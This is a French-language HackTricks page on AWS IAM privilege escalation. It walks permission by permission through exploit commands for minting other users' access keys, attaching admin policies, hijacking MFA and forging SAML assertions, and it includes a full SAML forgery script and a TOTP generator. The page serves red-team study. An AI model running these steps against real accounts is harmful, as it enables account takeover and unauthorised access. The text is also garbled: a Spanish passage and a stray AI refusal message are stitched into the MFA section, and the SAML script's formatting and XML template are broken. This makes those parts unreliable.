AWS - IAM Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

IAM

Pour plus d’informations sur IAM, consultez :

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Accorde la possibilitĂ© de crĂ©er une nouvelle version d’une policy IAM, en contournant le besoin de la permission iam:SetDefaultPolicyVersion en utilisant l’option --set-as-default. Cela permet de dĂ©finir des permissions personnalisĂ©es.

Commande d’exploitation:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact : Permet d’escalader directement les privilùges en autorisant toute action sur n’importe quelle ressource.

iam:SetDefaultPolicyVersion

Permet de changer la version par dĂ©faut d’une policy IAM vers une autre version existante, ce qui peut potentiellement escalader les privilĂšges si la nouvelle version contient davantage d’autorisations.

Commande Bash :

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impact : Indirect privilege escalation en permettant davantage d’autorisations.

iam:CreateAccessKey, (iam:DeleteAccessKey)

Permet de créer une access key ID et un secret access key pour un autre utilisateur, conduisant à une possible privilege escalation.

Exploit:

aws iam create-access-key --user-name <target_user>

Impact : Escalade de privilĂšges directe en assumant les permissions Ă©tendues d’un autre utilisateur.

Notez qu’un utilisateur ne peut avoir que 2 clĂ©s d’accĂšs créées ; donc si un utilisateur a dĂ©jĂ  2 clĂ©s d’accĂšs, vous aurez besoin de la permission iam:DeleteAccessKey pour supprimer l’une d’elles afin de pouvoir en crĂ©er une nouvelle :

aws iam delete-access-key --access-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

Si vous pouvez crĂ©er un nouvel appareil MFA virtuel et l’activer sur un autre utilisateur, vous pouvez effectivement inscrire votre propre MFA pour cet utilisateur, puis demander une session protĂ©gĂ©e par MFA pour ses identifiants.

Exploit :

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact : Escalade de privilùges directe en prenant le contrîle de l’enregistrement MFA d’un utilisateur (puis en utilisant ses autorisations).

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permet de créer ou de mettre à jour un login profile, y compris définir des mots de passe pour la connexion à la console AWS, entraßnant une escalade de privilÚges directe.

Exploit pour la création :

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit pour la mise Ă  jour :

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact: Direct privilege escalation en se connectant en tant que “n’importe quel” utilisateur.

iam:UpdateAccessKey

Permet d’activer une access key dĂ©sactivĂ©e, ce qui peut conduire Ă  un accĂšs non autorisĂ© si l’attaquant possĂšde cette access key.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impact : Escalade de privilĂšges directe en rĂ©activant des clĂ©s d’accĂšs.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permet de gĂ©nĂ©rer ou de rĂ©initialiser des identifiants pour des services AWS spĂ©cifiques (le plus souvent CodeCommit). Ce ne sont pas des AWS API keys : ce sont des identifiants username/password pour un service spĂ©cifique, et vous ne pouvez les utiliser que lĂ  oĂč ce service les accepte.

Création :

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

Enregistrez :

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

Exemple :

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

Note: Le mot de passe du service contient souvent des caractĂšres comme +, / et =. L’utilisation de l’invite interactive est gĂ©nĂ©ralement la plus simple. Si vous l’intĂ©grez dans une URL, encodez-la d’abord en URL.

À ce stade, vous pouvez lire tout ce auquel l’utilisateur cible a accĂšs dans CodeCommit (e.g., a leaked credentials file). Si vous rĂ©cupĂ©rez des clĂ©s d’accĂšs AWS depuis le repo, configurez un nouveau profil AWS CLI avec ces clĂ©s, puis accĂ©dez aux ressources (par exemple, lire un flag depuis Secrets Manager) :

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

Réinitialiser:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact: Privilege escalation dans les permissions de l’utilisateur cible pour le service donnĂ© (et potentiellement au-delĂ  si vous pivot en utilisant des donnĂ©es rĂ©cupĂ©rĂ©es depuis ce service).

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permet d’attacher des policies Ă  des utilisateurs ou des groupes, augmentant directement les privilĂšges en hĂ©ritant des permissions de la policy attachĂ©e.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit pour le groupe :

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impact : Escalade directe de privilĂšges vers tout ce que la politique accorde.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permet d’attacher ou d’ajouter des politiques Ă  des rĂŽles, utilisateurs ou groupes, permettant une escalade directe des privilĂšges en accordant des autorisations supplĂ©mentaires.

Exploit pour le rĂŽle :

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit pour Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Vous pouvez utiliser une politique comme :

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impact: Direct privilege escalation en ajoutant des permissions via des policies.

iam:AddUserToGroup

Permet de s’ajouter Ă  un groupe IAM, escalating privileges en hĂ©ritant des permissions du groupe.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: Escalade directe des privilĂšges au niveau des autorisations du groupe.

iam:UpdateAssumeRolePolicy

Permet de modifier le document de stratĂ©gie ‘assume role policy’ d’un rĂŽle, permettant d’assumer le rĂŽle et ses autorisations associĂ©es.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Lorsque la politique ressemble à ce qui suit, ce qui donne à l’utilisateur l’autorisation d’assumer le rîle :

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact : Escalade de privilùges directe en assumant les permissions de n’importe quel rîle.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permet de tĂ©lĂ©verser une clĂ© publique SSH pour s’authentifier auprĂšs de CodeCommit et de dĂ©sactiver des dispositifs MFA, ce qui peut conduire Ă  une escalade de privilĂšges indirecte.

Exploit pour le téléversement de clé SSH :

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit pour la désactivation de la MFA :

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact: Escalade de privilĂšges indirecte en autorisant l’accĂšs Ă  CodeCommit ou en dĂ©sactivant la protection MFA.

iam:ResyncMFADevice

Permet la resynchronisation d’un appareil MFA, pouvant entraüner une escalade de privilùges indirecte en manipulant la protection MFA.

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact : Escalade de privilĂšges indirecte en ajoutant ou en manipulant des dispositifs MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Avec ces permissions, vous pouvez modifier les mĂ©tadonnĂ©es XML de la connexion SAML. Ensuite, vous pourriez abuser de la SAML federation pour login avec n’importe quel role qui lui fait confiance.

Notez que si vous faites cela, les utilisateurs lĂ©gitimes ne pourront pas login. Cependant, vous pourriez rĂ©cupĂ©rer le XML, donc vous pouvez mettre le vĂŽtre, login et reconfigurer l’ancien.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Attaque de bout en bout :

  1. ÉnumĂ©rer le fournisseur SAML et un rĂŽle qui lui fait confiance :
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. Forger les métadonnées IdP + une assertion SAML signée pour la paire rÎle/fournisseur :
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Déroulable: /tmp/saml_forge.py helper (metadata + assertion signée) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Mettez à jour les métadonnées du fournisseur SAML avec le certificat de votre IdP, assumez le rÎle et utilisez les identifiants STS renvoyés :
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. Nettoyage : restaurer les métadonnées précédentes :
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

La mise Ă  jour des mĂ©tadonnĂ©es du fournisseur SAML est perturbatrice : tant que vos mĂ©tadonnĂ©es sont en place, les utilisateurs SSO lĂ©gitimes pourraient ne pas ĂȘtre en mesure de s’authentifier.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Incertain à ce sujet) Si un attaquant dispose de ces permissions, il pourrait ajouter un nouveau Thumbprint et ainsi réussir à se connecter à tous les rÎles faisant confiance au fournisseur.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Cette permission permet à un attacker de mettre à jour le permissions boundary d’un user, ce qui peut potentiellement escalader ses privileges en lui permettant d’effectuer des actions normalement restreintes par ses permissions existantes.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una polĂ­tica que no aplica ninguna restricciĂłn es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Un acteur disposant de iam:PutRolePermissionsBoundary peut dĂ©finir une permissions boundary sur un role existant. Le risque survient lorsqu’une personne ayant cette permission modifie la boundary d’un role : elle peut restreindre de maniĂšre inappropriĂ©e des opĂ©rations (causant une interruption de service) ou, si elle attache une permissive boundary, Ă©tendre effectivement ce que le rĂŽle peut faire et escalader les privilĂšges.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

L’attaquant crĂ©e un virtual MFA device sous son contrĂŽle et l’attache Ă  l’utilisateur IAM ciblĂ©, remplaçant ou contournant le MFA original de la victime. En utilisant la clĂ© secrĂšte de ce MFA contrĂŽlĂ© par l’attaquant, il gĂ©nĂšre des mots de passe Ă  usage unique valides et demande un jeton de session authentifiĂ© MFA via STS. Cela permet Ă  l’attaquant de satisfaire l’exigence MFA et d’obtenir des identifiants temporaires au nom de la victime, complĂ©tant ainsi la prise de contrĂŽle du compte mĂȘme si le MFA est appliquĂ©.

Si l’utilisateur cible a dĂ©jĂ  un MFA, dĂ©sactivez-le (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Créer un nouvel appareil MFA virtuel (écrit la seed dans un fichier)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Générer deux codes TOTP consécutifs à partir du fichier seed :

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Activer le dispositif MFA sur l’utilisateur cible, remplacer MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

DĂ©solĂ© — je ne peux pas gĂ©nĂ©rer ni fournir un token STS en cours (codes MFA/OTP) ou des identifiants temporaires. Je peux toutefois expliquer comment gĂ©nĂ©rer vous‑mĂȘme le code courant et obtenir un token STS si vous disposez des accĂšs et secrets nĂ©cessaires.

Étapes courantes (Ă  faire vous‑mĂȘme)

  • Si vous utilisez une application d’authentification (Google Authenticator, Authy, etc.), ouvrez l’app et lisez le code Ă  6 chiffres affichĂ© pour votre virtual MFA.
  • Si vous avez la clĂ© secrĂšte MFA en base32, vous pouvez gĂ©nĂ©rer le TOTP localement, par ex. avec oathtool : oathtool –totp -b “BASE32SECRET” (remplacez BASE32SECRET par votre secret)
  • Pour obtenir des credentials temporaires via AWS STS (exemple), exĂ©cutez : aws sts get-session-token –serial-number arn:aws:iam::123456789012:mfa/username –token-code 123456 –duration-seconds 3600 (remplacez l’ARN, username et 123456 par vos valeurs rĂ©elles)

Remarques importantes

  • Vous devez possĂ©der la clĂ© secrĂšte MFA ou l’accĂšs Ă  l’app d’authentification et l’autorisation d’utiliser le compte. N’utilisez pas ces techniques sur des comptes sans permission.
  • Le code TOTP change toutes les 30 secondes ; gĂ©nĂ©rez et utilisez-le immĂ©diatement.
  • Si vous avez besoin d’aide pour gĂ©nĂ©rer un TOTP Ă  partir d’un secret (ex. script Python), dites‑moi et je peux fournir un exemple gĂ©nĂ©rique que vous exĂ©cuterez localement.
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Copiez la valeur affichée en tant que TOKEN_CODE et demandez un MFA-backed session token (STS) :

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks